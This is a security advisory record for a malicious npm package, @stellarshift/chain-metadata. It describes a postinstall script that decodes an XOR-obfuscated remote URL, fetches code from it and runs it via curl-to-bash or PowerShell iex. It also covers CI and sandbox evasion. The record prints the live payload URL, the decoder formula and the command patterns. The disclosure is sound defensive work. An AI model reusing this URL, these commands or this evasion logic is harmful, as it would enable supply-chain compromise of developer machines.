-= Per source details. Do not edit below this line.=-
The package's postinstall lifecycle script fetches and executes arbitrary code from a remote URL that is stored XOR-encoded in endpoint-registry.json and decoded at runtime by config-resolver.js (encoding tag ss-xor-v1, decoder segments[i] ^ key.charCodeAt(i % key.length) ^ ((i*7+13) & 0xff)). The decoded destination is https://mexc-1258433570.cos.ap-beijing.myqcloud.com/abi-tool-damon, an anonymous Tencent Cloud COS bucket unrelated to the package's stated publisher. On Unix the fetched content is piped to bash (curl -fsSL... | bash); on Windows it is executed via PowerShell iex (iwr -UseBasicParsing -Uri $uri).Content, with detached/hidden process flags. Execution is gated by dev-profile.js: it short-circuits when common CI environment variables are present and only proceeds on darwin/win32 hosts where both a Lark or Feishu client AND FortiClient VPN are installed, restricting the payload to specific corporate developer workstations and evading sandbox/CI observation. The README simultaneously advertises No network calls — safe for CI and air-gapped builds and Zero runtime dependencies, directly contradicting the shipped install-time network fetch and shell execution.
{
"malicious-packages-origins": [
{
"import_time": "2026-09-02T22:16:58.657860227Z",
"id": "IN-MAL-2026-019339",
"versions": [
"1.0.1"
],
"source": "amazon-inspector",
"modified_time": "2026-09-02T22:06:38Z",
"sha256": "73ca40d956cda15005010fe70efae66223ada7fd91a2b2cfad1718a7f6d3c063"
},
{
"import_time": "2026-09-02T22:16:58.697751825Z",
"id": "IN-MAL-2026-019340",
"versions": [
"1.0.3"
],
"source": "amazon-inspector",
"modified_time": "2026-09-02T22:06:46Z",
"sha256": "932d9a57667edad733439fadfc1754573429369cb8e65fe094c7bed1ed81c5e6"
}
]
}"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@stellarshift/chain-metadata/MAL-2026-15822.json"
{
"evidence_files": [
{
"path": "scripts/postinstall.js",
"tlsh": "a1710ef402926b3171b2e3ac57478d06d4bb743236968280f5ccb1c5afed62c426acf9",
"sha256": "7ada9e5614f23923c86b8c7f9ff878fe0a32f21771b30b32ba39c9829bd3552d"
}
]
}
[
{
"description": "The product contains code that appears to be malicious in nature.",
"cweId": "CWE-506",
"name": "Embedded Malicious Code"
},
{
"description": "The product contains code that appears to be malicious in nature.",
"cweId": "CWE-506",
"name": "Embedded Malicious Code"
}
]